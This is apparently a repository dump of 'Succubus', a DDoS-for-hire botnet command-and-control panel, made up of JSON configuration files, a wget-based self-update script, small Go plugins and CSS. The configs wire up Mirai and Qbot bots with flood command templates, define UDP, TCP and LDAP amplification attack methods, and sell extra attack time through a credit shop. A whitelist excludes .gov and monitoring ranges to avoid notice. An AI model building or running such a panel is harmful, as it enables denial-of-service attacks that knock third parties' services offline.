-------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name":"cyber", 4 | "type":"dual", 5 | "more colors":[{ 6 | "r": 50, 7 | "g": 50, 8 | "b": 50 9 | }, 10 | { 11 | "r": 0, 12 | "g": 0, 13 | "b": 0 14 | } 15 | ], 16 | "colors":[ 17 | { 18 | "r": 163, 19 | "g": 78, 20 | "b": 78 21 | }, 22 | { 23 | "r": 0, 24 | "g": 251, 25 | "b": 255 26 | } 27 | 28 | ] 29 | }, 30 | { 31 | "name":"space", 32 | "type":"horizontal", 33 | "colors": [ 34 | { 35 | "r": 79, 36 | "g": 159, 37 | "b": 241 38 | }, 39 | { 40 | "r": 217, 41 | "g": 0, 42 | "b": 168 43 | } 44 | ] 45 | }, 46 | { 47 | "name":"green", 48 | "type":"horizontal", 49 | "colors": [ 50 | { 51 | "r": 0, 52 | "g": 255, 53 | "b": 0 54 | } 55 | ] 56 | }, 57 | { 58 | "name":"red", 59 | "type":"horizontal", 60 | "colors": [ 61 | { 62 | "r": 255, 63 | "g": 0, 64 | "b": 0 65 | } 66 | ] 67 | }, 68 | { 69 | "name":"cool", 70 | "type":"radial", 71 | "colors":[ 72 | { 73 | "r": 255, 74 | "g": 0, 75 | "b": 255 76 | }, 77 | { 78 | "r": 0, 79 | "g": 255, 80 | "b": 255 81 | } 82 | ] 83 | }, 84 | { 85 | "name":"bruh", 86 | "type":"diagonal", 87 | "colors":[ 88 | { 89 | "r": 255, 90 | "g": 36, 91 | "b": 36 92 | }, 93 | { 94 | "r": 0, 95 | "g": 0, 96 | "b": 214 97 | } 98 | ] 99 | }, 100 | { 101 | "name":"redish", 102 | "type":"horizontal", 103 | "colors":[ 104 | { 105 | "r": 240, 106 | "g": 240, 107 | "b": 0 108 | }, 109 | { 110 | "r": 190, 111 | "g": 0, 112 | "b": 170 113 | }, 114 | { 115 | "r": 255, 116 | "g": 0, 117 | "b": 0 118 | } 119 | ] 120 | }, 121 | { 122 | "name":"argon", 123 | "type":"horizontal", 124 | "colors":[ 125 | { 126 | "r": 22, 127 | "g": 20, 128 | "b": 50 129 | }, 130 | { 131 | "r": 115, 132 | "g": 3, 133 | "b": 192 134 | }, 135 | { 136 | "r": 236, 137 | "g": 56, 138 | "b": 188 139 | }, 140 | { 141 | "r": 253, 142 | "g": 239, 143 | "b": 249 144 | } 145 | ] 146 | }, 147 | { 148 | "name":"neko", 149 | "type":"radial", 150 | "colors":[{ 151 | "r": 255, 152 | "g": 50, 153 | "b": 23 154 | }, 155 | { 156 | "r": 153, 157 | "g": 97, 158 | "b":250 159 | }, 160 | { 161 | "r": 255, 162 | "g": 142, 163 | "b":61 164 | }, 165 | { 166 | "r": 32, 167 | "g": 250, 168 | "b":214 169 | }] 170 | }, 171 | { 172 | "name":"ahegao", 173 | "type":"horizontal", 174 | "colors":[ 175 | { 176 | "r": 251, 177 | "g": 211, 178 | "b": 233 179 | }, 180 | { 181 | "r": 187, 182 | "g": 55, 183 | "b": 125 184 | } 185 | ] 186 | }, 187 | { 188 | 189 | "name":"extra", 190 | "type":"horizontal", 191 | "colors":[ 192 | { 193 | "r": 0, 194 | "g": 255, 195 | "b": 0 196 | }, 197 | { 198 | "r": 20, 199 | "g": 255, 200 | "b": 100 201 | } 202 | ] 203 | }, 204 | { 205 | 206 | "name":"zombie", 207 | "type":"horizontal", 208 | "colors":[ 209 | { 210 | "r": 252, 211 | "g": 53, 212 | "b": 76 213 | }, 214 | { 215 | "r": 10, 216 | "g": 191, 217 | "b": 188 218 | } 219 | ] 220 | }, 221 | { 222 | 223 | "name":"umbral", 224 | "type":"diagonal", 225 | "colors":[ 226 | { 227 | "r": 180, 228 | "g": 180, 229 | "b": 180 230 | }, 231 | { 232 | "r": 0, 233 | "g": 0, 234 | "b": 0 235 | } 236 | ] 237 | }, 238 | { 239 | 240 | "name":"yellow", 241 | "type":"horizontal", 242 | "colors":[ 243 | { 244 | "r": 255, 245 | "g": 255, 246 | "b": 0 247 | } 248 | ] 249 | }, 250 | { 251 | 252 | "name":"cyan", 253 | "type":"horizontal", 254 | "colors":[ 255 | { 256 | "r": 0, 257 | "g": 255, 258 | "b": 255 259 | } 260 | ] 261 | }, 262 | 263 | { 264 | "name":"theme", 265 | "type":"theme" 266 | } 267 | ] 268 | -------------------------------------------------------------------------------- /config/DLC/mirai.json: -------------------------------------------------------------------------------- 1 | { 2 | "enabled":true, 3 | 4 | "-Comment- Remove this line" : "If you don't know what this does below do not change it!", 5 | "auth":[ 6 | 0,0,0,1 7 | ], 8 | 9 | "port":818, 10 | "methods":[ 11 | { 12 | "name":"udp", 13 | "id":0, 14 | "devices":100, 15 | "flags":{ 16 | "len":1024 17 | } 18 | }, 19 | { 20 | "name":"tcp", 21 | "id":2, 22 | "devices":100, 23 | "flags":{ 24 | "syn":true, 25 | "ack":true 26 | } 27 | } 28 | ] 29 | 30 | } -------------------------------------------------------------------------------- /config/DLC/qbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "enabled":true, 3 | "port":181, 4 | "methods":[ 5 | { 6 | "name":"udp", 7 | "command":"!* udp <<$host>> <<$port>> <<$time>> 1024 1", 8 | "devices":100 9 | }, 10 | { 11 | "name":"tcp", 12 | "command":"!* tcp <<$host>> <<$port>> <<$time>>", 13 | "devices":100 14 | } 15 | 16 | ] 17 | } -------------------------------------------------------------------------------- /config/DLC/shop.json: -------------------------------------------------------------------------------- 1 | { 2 | "items": [ 3 | { 4 | "type":"role", 5 | "name":"test", 6 | "value":"test", 7 | "credits":100 8 | }, 9 | { 10 | "type":"timelimit", 11 | "name":"moretime", 12 | "value":"200", 13 | "credits":300 14 | }, 15 | { 16 | "type":"concurrent", 17 | "name":"morecons", 18 | "value":"1", 19 | "credits":500 20 | }, 21 | { 22 | "type":"expiry", 23 | "name":"extradays", 24 | "value":"4", 25 | "credits":300 26 | } 27 | ], 28 | "xp":{ 29 | "enabled":true, 30 | "attack threshold": 1, 31 | "reward":1 32 | } 33 | } -------------------------------------------------------------------------------- /config/DLC/telegram.json: -------------------------------------------------------------------------------- 1 | { 2 | "enable":false, 3 | "token":"bot0000000000:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 4 | "channel id":100000000 5 | } 6 | -------------------------------------------------------------------------------- /config/attacks.json: -------------------------------------------------------------------------------- 1 | { 2 | "attack toggle": true, 3 | "single instance":true, 4 | "global concurrents":null, 5 | "attack spinner":false, 6 | "json api": false, 7 | "verify api certificate":true, 8 | "allow attack by range":false, 9 | 10 | "host limit": { 11 | "enabled":true, 12 | "attacks":2, 13 | "seconds":3600 14 | }, 15 | 16 | "groups":[ 17 | { 18 | "name":"test", 19 | "concurrents":3, 20 | "timelimit":600 21 | } 22 | ] 23 | 24 | } 25 | -------------------------------------------------------------------------------- /config/commands.json: -------------------------------------------------------------------------------- 1 | [ 2 | 3 | { 4 | 5 | "name":"test", 6 | "alias":["testing","123"], 7 | "permission":["admin"], 8 | "asset":"test", 9 | "description":"test command" 10 | }, 11 | 12 | { 13 | 14 | "name":"example", 15 | "alias":["ex"], 16 | "permission":[], 17 | "asset":"example.txt", 18 | "description":"This is an example command" 19 | }, 20 | 21 | { 22 | "name":"myinfo", 23 | "alias":["acccount","info"], 24 | 25 | "-Comment- Remove this line" : "You do not need to define empty types such as a command with no permissions needed!", 26 | 27 | "asset":"accountinfo", 28 | "description":"returns user info" 29 | } 30 | 31 | ] -------------------------------------------------------------------------------- /config/methods.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name":"udp", 4 | "time":120, 5 | "description":"Udp Flood", 6 | "group":"test", 7 | "default port":80, 8 | "default time":100, 9 | "permission":[], 10 | "api":[ 11 | "http://placeholder.co/api?host=<<$host>>&port=<<$port>>&time=<<$time>>&method=realmethodname" 12 | ], 13 | "server":[ 14 | { 15 | "name":"omega", 16 | "command":"./udp <<$host>> <<$port>> <<$time>>" 17 | }, 18 | { 19 | "name":"alpha", 20 | "command":"wall <<$host>> <<$port>> <<$time>>" 21 | } 22 | ], 23 | "botnet":{ 24 | "qbot":"udp", 25 | "mirai":"udp" 26 | } 27 | }, 28 | { 29 | "name":"tcp", 30 | "time":120, 31 | "description":"tcp Flood", 32 | "permission":["vip"], 33 | "api":[ 34 | "http://link.one", 35 | "http://link.two", 36 | "http://link.three" 37 | ] 38 | }, 39 | { 40 | "name":"ldap", 41 | "time":120, 42 | "description":"ldap amplification Flood", 43 | "permission":["vip","admin"], 44 | "api":[ 45 | "http://link.one" 46 | ] 47 | }, 48 | { 49 | "name":"bigddos", 50 | "time":2111, 51 | "description":"hacker", 52 | "permission":[], 53 | "botnet":{ 54 | "mirai":"udp" 55 | } 56 | 57 | } 58 | ] 59 | -------------------------------------------------------------------------------- /config/succubus.json: -------------------------------------------------------------------------------- 1 | { 2 | "key":"This Key no worky :(", 3 | 4 | "mysql":{ 5 | "address":"127.0.0.1:3306", 6 | "username":"bleach", 7 | "password":"password", 8 | "table":"succubus" 9 | }, 10 | 11 | "connection":{ 12 | "port":999 13 | }, 14 | 15 | "fakecount":{ 16 | "enabled":false, 17 | "port":123, 18 | "delay":10, 19 | "chance":50, 20 | "minimum":1000, 21 | "maximum":1300 22 | }, 23 | 24 | "branding":{ 25 | 26 | "title":"<<$botcount>> boats | Succubus Custom Build | Serving <<$username>> | Active Sessions <<$onlineusers>> | <<$expiry>> ", 27 | "prompt":"┌──[Succubus]-[~/succubus/cnc/<<$username>>]\r\n└───➤", 28 | 29 | "assets":{ 30 | "welcome":"succ", 31 | "banner":"succ", 32 | "attack":"attack" 33 | }, 34 | 35 | "login":{ 36 | "custom":false, 37 | "title":"Welcome to Succubus CNC", 38 | "asset":"login", 39 | 40 | "-Comment- Remove this line":"If you don't want your string in here use the include function!", 41 | 42 | "getuser":"<>", 43 | "getpass":"<>" 44 | }, 45 | 46 | "tos":{ 47 | "enabled":false, 48 | "title":"Succubus TOS (unused) plopp wanted this lol", 49 | "asset":"tos", 50 | "prompt":"succubus/tos >", 51 | "answer":"i agree" 52 | }, 53 | "otp":{ 54 | "-Comment- Remove this line" : "This will force all users to enable otp before using their account!", 55 | "enabled":false, 56 | "title":"[<<$spinner>>] Succcubus Otp [<<$spinner>>]", 57 | "asset":"otp", 58 | "prompt":"codeplz> " 59 | }, 60 | 61 | "errors":{ 62 | "403":"403 You Do Not Have Access!", 63 | "404":"404 Asset Not Found!", 64 | "500":"500 Asset Error!" 65 | }, 66 | 67 | "hardcoded":{ 68 | 69 | "-Comment- Remove this line" : "Removing them will also disable them keep this in mind!", 70 | 71 | "help":true, 72 | "methods":true, 73 | "key":true, 74 | "tools":true, 75 | "devices":true, 76 | "theme":true, 77 | "attack":true, 78 | "chat":true, 79 | "shop":true 80 | }, 81 | 82 | "captcha":{ 83 | "enabled":false, 84 | "title":"[<<$spinner>>] Succcubus Captcha [<<$spinner>>]", 85 | "asset":"captcha", 86 | "prompt":"captcha> " 87 | }, 88 | 89 | "misc":{ 90 | "idle timeout":2600, 91 | "prompt check":false, 92 | "lock host":false, 93 | "lock timezone":true, 94 | 95 | "chat cooldown":5, 96 | 97 | "spinner":["< 3","<- 3","< - 3","< -3"], 98 | 99 | "-Comment- Remove this line": "This is not implemented in free succubus builds", 100 | "prompt colors":[ 101 | { 102 | "r": 255, 103 | "g": 255, 104 | "b": 255 105 | } 106 | 107 | ], 108 | "invert gradients":false, 109 | "gradient":[ 110 | { 111 | "r": 222, 112 | "g": 3, 113 | "b": 244 114 | }, 115 | { 116 | "r": 0, 117 | "g": 46, 118 | "b": 250 119 | } 120 | 121 | ] 122 | 123 | } 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /config/themes.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name":"alternate", 4 | "banner":"themes/alternate/banner.txt", 5 | "title":"Succubus C2", 6 | 7 | "help":"helpfile", 8 | "methods":"methodsfile", 9 | 10 | "prompt":"[Succubus]> ", 11 | "description":"alternate succubus theme", 12 | "gradient":[ 13 | { 14 | "r": 240, 15 | "g": 240, 16 | "b": 0 17 | }, 18 | { 19 | "r": 190, 20 | "g": 0, 21 | "b": 170 22 | }, 23 | { 24 | "r": 255, 25 | "g": 0, 26 | "b": 0 27 | } 28 | ] 29 | }, 30 | 31 | { 32 | "name":"neko", 33 | "banner":"neko", 34 | "title":"Masters <<$onlineusers>> | Running <<$allgoing>> | Neko Hub | User <<$username>> | Expiry <<$expiry>> day(s)s left", 35 | "prompt":"[<<$username>>/Neko/Hub]> ", 36 | "description":"The best of the best", 37 | "prompt gradient":[ 38 | { 39 | "r": 255, 40 | "g": 50, 41 | "b": 23 42 | }, 43 | { 44 | "r": 153, 45 | "g": 97, 46 | "b":250 47 | }, 48 | { 49 | "r": 255, 50 | "g": 142, 51 | "b":61 52 | }, 53 | { 54 | "r": 32, 55 | "g": 250, 56 | "b":214 57 | } 58 | ], 59 | "gradient":[ 60 | { 61 | "r": 255, 62 | "g": 50, 63 | "b": 23 64 | }, 65 | { 66 | "r": 153, 67 | "g": 97, 68 | "b":250 69 | }, 70 | { 71 | "r": 255, 72 | "g": 142, 73 | "b":61 74 | }, 75 | { 76 | "r": 32, 77 | "g": 250, 78 | "b":214 79 | } 80 | ] 81 | }, 82 | { 83 | "name":"cyber", 84 | "banner":"themes/cyberdeck/banner.txt", 85 | "title":"CyDeck HMI", 86 | "prompt":"<<$username>>@CyberDeck > ", 87 | "description":"for those who are leet", 88 | "gradient":[ 89 | { 90 | "r": 163, 91 | "g": 78, 92 | "b": 78 93 | }, 94 | { 95 | "r": 0, 96 | "g": 251, 97 | "b": 255 98 | } 99 | ] 100 | }, 101 | { 102 | "name":"blackjack", 103 | "banner":"themes/blackjack/banner.txt", 104 | "title":"Gambling <<$spinner>> | Username <<$username>>", 105 | "prompt":" ESC[0m[ESC[38;5;8m♠ESC[38;5;1m♥ESC[38;5;8m♣ESC[38;5;1m♦ESC[0m] - ESC[38;5;8m<<$username>> ESC[0m>", 106 | "description":"if you like to lose", 107 | "gradient":[ 108 | { 109 | "r": 255, 110 | "g": 0, 111 | "b": 0 112 | }, 113 | { 114 | "r": 75, 115 | "g": 75, 116 | "b": 75 117 | } 118 | ] 119 | }, 120 | { 121 | "name":"flavors", 122 | "banner":"themes/flavors/banner.txt", 123 | "title":"Flalalavor", 124 | "prompt":"ESC[38;2;126;211;247m<<$username>> ESC[38;2;247;126;245m• ESC[38;2;154;247;126mFlavor ESC[38;2;126;247;215m• ESC[38;2;128;126;247m» ", 125 | "description":"pleasent and colorful", 126 | "gradient":[ 127 | { 128 | "r": 126, 129 | "g": 211, 130 | "b": 247 131 | }, 132 | { 133 | "r": 247, 134 | "g": 126, 135 | "b": 245 136 | }, 137 | { 138 | "r": 154, 139 | "g": 247, 140 | "b": 126 141 | }, 142 | { 143 | "r": 231, 144 | "g": 237, 145 | "b": 126 146 | }, 147 | { 148 | "r": 184, 149 | "g": 126, 150 | "b": 237 151 | }, 152 | { 153 | "r": 126, 154 | "g": 247, 155 | "b": 215 156 | }, 157 | { 158 | "r": 128, 159 | "g": 126, 160 | "b": 247 161 | } 162 | ] 163 | }, 164 | { 165 | "name":"razer", 166 | "banner":"themes/razer/banner.txt", 167 | "title":"Razer | <<$username>>", 168 | "prompt":"ESC[0m[ESC[31mRESC[32mGESC[34mBESC[32mESC[0m] > ", 169 | "description":"gamer rgb", 170 | "gradient":[ 171 | { 172 | "r": 255, 173 | "g": 0, 174 | "b": 0 175 | }, 176 | { 177 | "r": 0, 178 | "g": 255, 179 | "b": 0 180 | }, 181 | { 182 | "r": 0, 183 | "g": 0, 184 | "b": 255 185 | } 186 | ] 187 | }, 188 | { 189 | "name":"outdated", 190 | "banner":"themes/outdated/banner.txt", 191 | "title":"localhost", 192 | "prompt":"ESC[0m<<$username>>@localhost~# ", 193 | "description":"leet simple", 194 | "gradient":[ 195 | { 196 | "r": 255, 197 | "g": 255, 198 | "b": 255 199 | }, 200 | { 201 | "r": 255, 202 | "g": 255, 203 | "b": 255 204 | } 205 | ] 206 | } 207 | ] 208 | -------------------------------------------------------------------------------- /config/whitelist.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "string":"*.gov", 4 | "reason":"government" 5 | }, 6 | { 7 | "prefix":"127.0.0.0", 8 | "octal":8, 9 | "reason":"bogon loopback" 10 | }, 11 | { 12 | "prefix":"0.0.0.0", 13 | "octal":8, 14 | "reason":"bogon this" 15 | }, 16 | { 17 | "prefix":"10.0.0.0", 18 | "octal":8, 19 | "reason":"bogon private" 20 | }, 21 | { 22 | "prefix":"100.64.0.0", 23 | "octal":10, 24 | "reason":"bogon NAT" 25 | }, 26 | { 27 | "prefix":"127.0.53.53", 28 | "octal":32, 29 | "reason":"bogon name collision occurrence" 30 | }, 31 | { 32 | "prefix":"169.254.0.0", 33 | "octal":16, 34 | "reason":"bogon link local" 35 | }, 36 | { 37 | "prefix":"172.16.0.0", 38 | "octal":12, 39 | "reason":"bogon private-use networks" 40 | }, 41 | { 42 | "prefix":"192.0.0.0", 43 | "octal":24, 44 | "reason":"bogon IETF protocol assignments" 45 | }, 46 | { 47 | "prefix":"192.0.2.0", 48 | "octal":24, 49 | "reason":"bogon" 50 | }, 51 | { 52 | "prefix":"192.168.0.0", 53 | "octal":16, 54 | "reason":"bogon networks" 55 | }, 56 | { 57 | "prefix":"198.18.0.0", 58 | "octal":15, 59 | "reason":"bogon interconnect device benchmark testing" 60 | }, 61 | { 62 | "prefix":"198.51.100.0", 63 | "octal":24, 64 | "reason":"bogon" 65 | }, 66 | { 67 | "prefix":"203.0.113.0", 68 | "octal":24, 69 | "reason":"bogon" 70 | }, 71 | { 72 | "prefix":"224.0.0.0", 73 | "octal":4, 74 | "reason":"bogon" 75 | }, 76 | { 77 | "prefix":"240.0.0.0", 78 | "octal":4, 79 | "reason":"bogon for future use" 80 | }, 81 | { 82 | "prefix":"255.255.255.255", 83 | "octal":32, 84 | "reason":"bogon broadcast" 85 | }, 86 | { 87 | "prefix":"103.95.220.0", 88 | "octal":22, 89 | "reason":"Dstat alert" 90 | }, 91 | { 92 | "prefix":"101.64.0.0", 93 | "octal":13, 94 | "reason":"Dstat alert" 95 | }, 96 | { 97 | "prefix":"117.24.0.0", 98 | "octal":13, 99 | "reason":"Dstat alert" 100 | }, 101 | { 102 | "prefix":"115.231.175.0", 103 | "octal":25, 104 | "reason":"Dstat alert" 105 | }, 106 | { 107 | "prefix":"180.188.16.0", 108 | "octal":20, 109 | "reason":"Dstat alert" 110 | }, 111 | { 112 | "prefix":"43.240.204.0", 113 | "octal":22, 114 | "reason":"Dstat alert" 115 | }, 116 | { 117 | "string":"1.1.*", 118 | "reason":"use your brain silly goose" 119 | }, 120 | { 121 | "string":"8.8.*", 122 | "reason":"use your brain silly goose" 123 | } 124 | ] 125 | -------------------------------------------------------------------------------- /doodump.sql: -------------------------------------------------------------------------------- 1 | /*this is not needed any more*/ 2 | -------------------------------------------------------------------------------- /main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/main -------------------------------------------------------------------------------- /plugin/list.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | ) 7 | 8 | func main() { 9 | for i, s := range os.Environ() { 10 | fmt.Printf("[%d] Env: %s\r\n", i, s) 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /plugin/test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | ) 7 | 8 | func main() { 9 | //env name same as markup 10 | fmt.Printf("hello %s, plugin testing!\r\n", os.Getenv("Succubus_username")) 11 | var in string 12 | fmt.Print("Prompt>") 13 | fmt.Scan(&in) 14 | 15 | fmt.Println("we got ", in) 16 | } 17 | -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | wget "https://github.com/lolinekos/succubus/raw/main/main" --no-check-certificate -O main 3 | echo "./main has been updated!" 4 | -------------------------------------------------------------------------------- /web/api_attack.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Succubus 9 | 10 | 11 | 12 | 13 |
14 | 15 |
Succubus API Handler
16 |
17 | Status: ...
18 | Host: ...
19 | Port: ...
20 | Time: ...
21 | Method: ...
22 | Delay: ... 23 |
24 | 25 | -------------------------------------------------------------------------------- /web/assets/css/nucleo-icons.css: -------------------------------------------------------------------------------- 1 | /* -------------------------------- 2 | 3 | Nucleo Outline Web Font - nucleoapp.com/ 4 | License - nucleoapp.com/license/ 5 | Created using IcoMoon - icomoon.io 6 | 7 | -------------------------------- */ 8 | 9 | @font-face { 10 | font-family: 'Nucleo'; 11 | src: url('../fonts/nucleo.eot'); 12 | src: url('../fonts/nucleo.eot') format('embedded-opentype'), 13 | url('../fonts/nucleo.woff2') format('woff2'), 14 | url('../fonts/nucleo.woff') format('woff'), 15 | url('../fonts/nucleo.ttf') format('truetype'), 16 | url('../fonts/nucleo.svg') format('svg'); 17 | font-weight: normal; 18 | font-style: normal; 19 | } 20 | 21 | /*------------------------ 22 | base class definition 23 | -------------------------*/ 24 | 25 | .tim-icons { 26 | display: inline-block; 27 | font: normal normal normal 1em/1 'Nucleo'; 28 | vertical-align: middle; 29 | speak: none; 30 | text-transform: none; 31 | /* Better Font Rendering */ 32 | -webkit-font-smoothing: antialiased; 33 | -moz-osx-font-smoothing: grayscale; 34 | } 35 | 36 | .font-icon-detail { 37 | text-align: center; 38 | padding: 45px 0 30px; 39 | border: 1px solid #e44cc4; 40 | border-radius: .1875rem; 41 | margin: 15px 0; 42 | min-height: 168px; 43 | } 44 | 45 | .font-icon-detail i { 46 | color: #FFFFFF; 47 | font-size: 1.5em; 48 | } 49 | 50 | .font-icon-detail p { 51 | color: #e44cc4 !important; 52 | margin-top: 30px; 53 | padding: 0 10px; 54 | font-size: .7142em; 55 | } 56 | 57 | /*------------------------ 58 | change icon size 59 | -------------------------*/ 60 | 61 | .tim-icons-sm { 62 | font-size: 0.8em; 63 | } 64 | 65 | .tim-icons-lg { 66 | font-size: 1.2em; 67 | } 68 | 69 | /* absolute units */ 70 | .tim-icons-16 { 71 | font-size: 16px; 72 | } 73 | 74 | .tim-icons-32 { 75 | font-size: 32px; 76 | } 77 | 78 | /*---------------------------------- 79 | add a square/circle background 80 | -----------------------------------*/ 81 | 82 | .tim-icons-bg-square, 83 | .tim-icons-bg-circle { 84 | padding: 0.35em; 85 | } 86 | 87 | .tim-icons-bg-circle { 88 | border-radius: 50%; 89 | } 90 | 91 | /*------------------------ 92 | list icons 93 | -------------------------*/ 94 | 95 | 96 | 97 | /*------------------------ 98 | spinning icons 99 | -------------------------*/ 100 | 101 | .tim-icons-is-spinning { 102 | -webkit-animation: tim-icons-spin 2s infinite linear; 103 | -moz-animation: tim-icons-spin 2s infinite linear; 104 | animation: tim-icons-spin 2s infinite linear; 105 | } 106 | 107 | @-webkit-keyframes tim-icons-spin { 108 | 0% { 109 | -webkit-transform: rotate(0deg); 110 | } 111 | 112 | 100% { 113 | -webkit-transform: rotate(360deg); 114 | } 115 | } 116 | 117 | @-moz-keyframes tim-icons-spin { 118 | 0% { 119 | -moz-transform: rotate(0deg); 120 | } 121 | 122 | 100% { 123 | -moz-transform: rotate(360deg); 124 | } 125 | } 126 | 127 | @keyframes tim-icons-spin { 128 | 0% { 129 | -webkit-transform: rotate(0deg); 130 | -moz-transform: rotate(0deg); 131 | -ms-transform: rotate(0deg); 132 | -o-transform: rotate(0deg); 133 | transform: rotate(0deg); 134 | } 135 | 136 | 100% { 137 | -webkit-transform: rotate(360deg); 138 | -moz-transform: rotate(360deg); 139 | -ms-transform: rotate(360deg); 140 | -o-transform: rotate(360deg); 141 | transform: rotate(360deg); 142 | } 143 | } 144 | 145 | /*------------------------ 146 | rotated/flipped icons 147 | -------------------------*/ 148 | /*------------------------ 149 | icons 150 | -------------------------*/ 151 | 152 | .icon-alert-circle-exc::before { 153 | content: "\ea02"; 154 | } 155 | 156 | .icon-align-center::before { 157 | content: "\ea03"; 158 | } 159 | 160 | .icon-align-left-2::before { 161 | content: "\ea04"; 162 | } 163 | 164 | .icon-app::before { 165 | content: "\ea05"; 166 | } 167 | 168 | .icon-atom::before { 169 | content: "\ea06"; 170 | } 171 | 172 | .icon-attach-87::before { 173 | content: "\ea07"; 174 | } 175 | 176 | .icon-badge::before { 177 | content: "\ea08"; 178 | } 179 | 180 | .icon-bag-16::before { 181 | content: "\ea09"; 182 | } 183 | 184 | .icon-bank::before { 185 | content: "\ea0a"; 186 | } 187 | 188 | .icon-basket-simple::before { 189 | content: "\ea0b"; 190 | } 191 | 192 | .icon-bell-55::before { 193 | content: "\ea0c"; 194 | } 195 | 196 | .icon-bold::before { 197 | content: "\ea0d"; 198 | } 199 | 200 | .icon-book-bookmark::before { 201 | content: "\ea0e"; 202 | } 203 | 204 | .icon-bulb-63::before { 205 | content: "\ea0f"; 206 | } 207 | 208 | .icon-bullet-list-67::before { 209 | content: "\ea10"; 210 | } 211 | 212 | .icon-bus-front-12::before { 213 | content: "\ea11"; 214 | } 215 | 216 | .icon-button-pause::before { 217 | content: "\ea12"; 218 | } 219 | 220 | .icon-button-power::before { 221 | content: "\ea13"; 222 | } 223 | 224 | .icon-calendar-60::before { 225 | content: "\ea14"; 226 | } 227 | 228 | .icon-camera-18::before { 229 | content: "\ea15"; 230 | } 231 | 232 | .icon-caps-small::before { 233 | content: "\ea16"; 234 | } 235 | 236 | .icon-cart::before { 237 | content: "\ea17"; 238 | } 239 | 240 | .icon-chart-bar-32::before { 241 | content: "\ea18"; 242 | } 243 | 244 | .icon-chart-pie-36::before { 245 | content: "\ea19"; 246 | } 247 | 248 | .icon-chat-33::before { 249 | content: "\ea1a"; 250 | } 251 | 252 | .icon-check-2::before { 253 | content: "\ea1b"; 254 | } 255 | 256 | .icon-cloud-download-93::before { 257 | content: "\ea1c"; 258 | } 259 | 260 | .icon-cloud-upload-94::before { 261 | content: "\ea1d"; 262 | } 263 | 264 | .icon-coins::before { 265 | content: "\ea1e"; 266 | } 267 | 268 | .icon-compass-05::before { 269 | content: "\ea1f"; 270 | } 271 | 272 | .icon-controller::before { 273 | content: "\ea20"; 274 | } 275 | 276 | .icon-credit-card::before { 277 | content: "\ea21"; 278 | } 279 | 280 | .icon-delivery-fast::before { 281 | content: "\ea22"; 282 | } 283 | 284 | .icon-double-left::before { 285 | content: "\ea23"; 286 | } 287 | 288 | .icon-double-right::before { 289 | content: "\ea24"; 290 | } 291 | 292 | .icon-email-85::before { 293 | content: "\ea25"; 294 | } 295 | 296 | .icon-gift-2::before { 297 | content: "\ea26"; 298 | } 299 | 300 | .icon-globe-2::before { 301 | content: "\ea27"; 302 | } 303 | 304 | .icon-headphones::before { 305 | content: "\ea28"; 306 | } 307 | 308 | .icon-heart-2::before { 309 | content: "\ea29"; 310 | } 311 | 312 | .icon-html5::before { 313 | content: "\ea2a"; 314 | } 315 | 316 | .icon-image-02::before { 317 | content: "\ea2b"; 318 | } 319 | 320 | .icon-istanbul::before { 321 | content: "\ea2c"; 322 | } 323 | 324 | .icon-key-25::before { 325 | content: "\ea2d"; 326 | } 327 | 328 | .icon-laptop::before { 329 | content: "\ea2e"; 330 | } 331 | 332 | .icon-light-3::before { 333 | content: "\ea2f"; 334 | } 335 | 336 | .icon-link-72::before { 337 | content: "\ea30"; 338 | } 339 | 340 | .icon-lock-circle::before { 341 | content: "\ea31"; 342 | } 343 | 344 | .icon-map-big::before { 345 | content: "\ea32"; 346 | } 347 | 348 | .icon-minimal-down::before { 349 | content: "\ea33"; 350 | } 351 | 352 | .icon-minimal-left::before { 353 | content: "\ea34"; 354 | } 355 | 356 | .icon-minimal-right::before { 357 | content: "\ea35"; 358 | } 359 | 360 | .icon-minimal-up::before { 361 | content: "\ea36"; 362 | } 363 | 364 | .icon-mobile::before { 365 | content: "\ea37"; 366 | } 367 | 368 | .icon-molecule-40::before { 369 | content: "\ea38"; 370 | } 371 | 372 | .icon-money-coins::before { 373 | content: "\ea39"; 374 | } 375 | 376 | .icon-notes::before { 377 | content: "\ea3a"; 378 | } 379 | 380 | .icon-palette::before { 381 | content: "\ea3b"; 382 | } 383 | 384 | .icon-paper::before { 385 | content: "\ea3c"; 386 | } 387 | 388 | .icon-pencil::before { 389 | content: "\ea3d"; 390 | } 391 | 392 | .icon-pin::before { 393 | content: "\ea3e"; 394 | } 395 | 396 | .icon-planet::before { 397 | content: "\ea3f"; 398 | } 399 | 400 | .icon-puzzle-10::before { 401 | content: "\ea40"; 402 | } 403 | 404 | .icon-satisfied::before { 405 | content: "\ea41"; 406 | } 407 | 408 | .icon-scissors::before { 409 | content: "\ea42"; 410 | } 411 | 412 | .icon-send::before { 413 | content: "\ea43"; 414 | } 415 | 416 | .icon-settings-gear-63::before { 417 | content: "\ea44"; 418 | } 419 | 420 | .icon-settings::before { 421 | content: "\ea45"; 422 | } 423 | 424 | .icon-simple-add::before { 425 | content: "\ea46"; 426 | } 427 | 428 | .icon-simple-delete::before { 429 | content: "\ea47"; 430 | } 431 | 432 | .icon-simple-remove::before { 433 | content: "\ea48"; 434 | } 435 | 436 | .icon-single-02::before { 437 | content: "\ea49"; 438 | } 439 | 440 | .icon-single-copy-04::before { 441 | content: "\ea4a"; 442 | } 443 | 444 | .icon-sound-wave::before { 445 | content: "\ea4b"; 446 | } 447 | 448 | .icon-spaceship::before { 449 | content: "\ea4c"; 450 | } 451 | 452 | .icon-square-pin::before { 453 | content: "\ea4d"; 454 | } 455 | 456 | .icon-support-17::before { 457 | content: "\ea4e"; 458 | } 459 | 460 | .icon-tablet-2::before { 461 | content: "\ea4f"; 462 | } 463 | 464 | 